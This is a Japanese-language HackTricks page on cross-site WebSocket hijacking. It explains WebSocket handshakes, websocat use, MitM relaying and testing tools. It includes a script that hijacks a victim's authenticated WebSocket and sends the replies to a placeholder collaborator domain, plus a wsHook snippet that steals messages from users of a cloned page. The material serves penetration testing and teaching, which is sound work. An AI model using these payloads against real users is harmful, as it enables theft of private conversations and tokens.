hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md

15 KiB
Raw Blame History

クロスサイトWebSocketハイジャッキングCSWSH

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

WebSocketsとは

WebSocket接続はHTTPを介して開始され、通常は長時間維持されます。メッセージはいつでもどちらの方向にも送信でき、トランザクション的な性質はありません。接続は通常、クライアントまたはサーバーがメッセージを送信する準備ができるまで開いたままになります。
WebSocketsは、金融データのリアルタイムフィードなど、低遅延またはサーバー起点のメッセージが必要な状況で特に有用です。

WebSocket接続はどのように確立されますか

(ここでは概要を示しますが、WebSocket接続の詳細なガイドこちらで見つけることができます)。
WebSocket接続は通常、次のようなクライアントサイドのJavaScriptを使用して作成されます

var ws = new WebSocket("wss://normal-website.com/chat");

wssプロトコルは、暗号化されたTLS接続上でWebSocketを確立しますが、wsプロトコルは暗号化されていない接続を使用します。

接続を確立するために、ブラウザとサーバーはHTTP上でWebSocketハンドシェイクを実行します。ブラウザは以下のようなWebSocketハンドシェイクリクエストを発行します

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

もしサーバーが接続を受け入れる場合、以下のようなWebSocketハンドシェイクのレスポンスを返します。

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

この時点では、ネットワーク接続は開いたままであり、双方向にWebSocketメッセージを送信するために使用することができます。

注意

WebSocketのハンドシェイクメッセージのいくつかの特徴について以下に示します:

  • リクエストとレスポンスの**ConnectionUpgrade**ヘッダーは、これがWebSocketのハンドシェイクであることを示しています。
  • リクエストヘッダーの**Sec-WebSocket-Version**は、クライアントが使用したいWebSocketプロトコルのバージョンを指定します。通常は13です。
  • リクエストヘッダーの**Sec-WebSocket-Keyには、ベース64でエンコードされたランダムな値**が含まれており、各ハンドシェイクリクエストでランダムに生成する必要があります。
  • レスポンスヘッダーの**Sec-WebSocket-Accept**には、プロトコル仕様で定義された特定の文字列と、Sec-WebSocket-Keyリクエストヘッダーに提出された値のハッシュが含まれています。これにより、誤って設定されたサーバーやキャッシュプロキシからの誤った応答が防止されます。

**Sec-WebSocket-Key**ヘッダーには、キャッシュプロキシからのエラーを防ぐためのランダムな値が含まれており、認証やセッション管理の目的では使用されません(CSRFトークンではありません)。

Linuxコンソール

websocatを使用してWebSocketとの生の接続を確立することができます。

websocat --insecure wss://10.10.10.10:8000 -v

または、websocatサーバーを作成するには:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM WebSocket接続

現在のローカルネットワークからクライアントがHTTP WebSocketに接続していることがわかった場合、ARPスプーフィング攻撃を試して、クライアントとサーバーの間でMitM攻撃を実行することができます。
クライアントが接続しようとしている場合、次のコマンドを使用できます:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websocketsの列挙

https://github.com/PalindromeLabs/STEWS というツールを使用すると、Websocketsで自動的に既知の脆弱性を発見、指紋認証、検索することができます。

Websocketデバッグツール

  • Burp Suiteは、通常のHTTP通信と同様に、MitM Websockets通信をサポートしています。
  • WSSiP: "WebSocket/Socket.io Proxy"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージの送信、表示するためのユーザーインターフェースを提供します。
  • wsreplは、特にペネトレーションテスト向けに設計された対話型WebSocket REPLです。これにより、受信したWebSocketメッセージを観察し、新しいメッセージを送信するためのインターフェースが提供され、この通信を自動化するための使いやすいフレームワークが備わっています。
  • https://websocketking.com/は、websocketsを使用して他のウェブサイトと通信するためのウェブです。
  • https://hoppscotch.io/realtime/websocketは、他の種類の通信/プロトコルと共に、websocketsを使用して他のウェブサイトと通信するためのウェブを提供します。

Websocket Lab

Burp-Suite-Extender-Montoya-Courseには、Websocketsを使用してウェブを起動するためのコードがあり、この投稿には説明があります。

クロスサイトWebSocketハイジャッキングCSWSH

または、_クロスオリジンWebSocketハイジャッキング_とも呼ばれます。
これは、WebSocketハンドシェイクにおける**クロスサイトリクエストフォージェリCSRF**です。

これは、WebSocketハンドシェイクリクエストがセッション管理にHTTPクッキーのみを使用し、CSRFトークンや他の予測不可能な値を含まない場合に発生します。
攻撃者は、自分のドメイン上に悪意のあるウェブページを作成し、脆弱なアプリケーションにクロスサイトWebSocket接続を確立します。アプリケーションは、被害者ユーザーのセッションのコンテキストで接続を処理します。

簡単な攻撃

websocket接続を確立する際に、クッキーサーバーに送信されることに注意してください。サーバーは、送信されたクッキーに基づいて各特定のユーザーを彼のwebsocketセッションに関連付けるかもしれません。

その後、例えばwebsocketサーバーがユーザーの会話の履歴を返す場合、メッセージに "READY" が送信されると、単純なXSSが接続を確立します(クッキーは自動的に送信され、被害者ユーザーを認証します)。 "READY" を送信することで、会話の履歴を取得することができます。

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

クロスオリジン + 異なるサブドメインのクッキー

このブログ記事https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/では、攻撃者がウェブソケット通信が行われているドメインのサブドメイン任意のJavaScriptを実行することに成功しました。サブドメインであるため、クッキー送信され、WebsocketがOriginを正しくチェックしなかったため、それと通信してトークンを盗むことが可能でした。

ユーザーからのデータの盗み出し

なりすましを行いたいウェブアプリケーション(たとえば.htmlファイルをコピーし、ウェブソケット通信が行われているスクリプト内に次のコードを追加します

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

次に、https://github.com/skepticfx/wshook から wsHook.js ファイルをダウンロードし、ウェブファイルが保存されているフォルダに保存してください。
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、WebSocketを介して送受信されるメッセージを盗むことができます。

sudo python3 -m http.server 80

他の脆弱性

Webソケットは、サーバーサイドとクライアントサイドにデータを送信する仕組みであるため、サーバーとクライアントが情報を処理する方法によっては、Webソケットを使用してXSS、SQLi、または他の一般的なWebの脆弱性を悪用することができます。

WebSocket Smuggling

この脆弱性により、逆プロキシの制限を回避することができます。逆プロキシは、実際にはそうではない場合でもWebソケット通信が確立されたと信じるようになります。これにより、攻撃者は隠されたエンドポイントにアクセスすることができます。詳細については、次のページを参照してください

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

参考文献

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥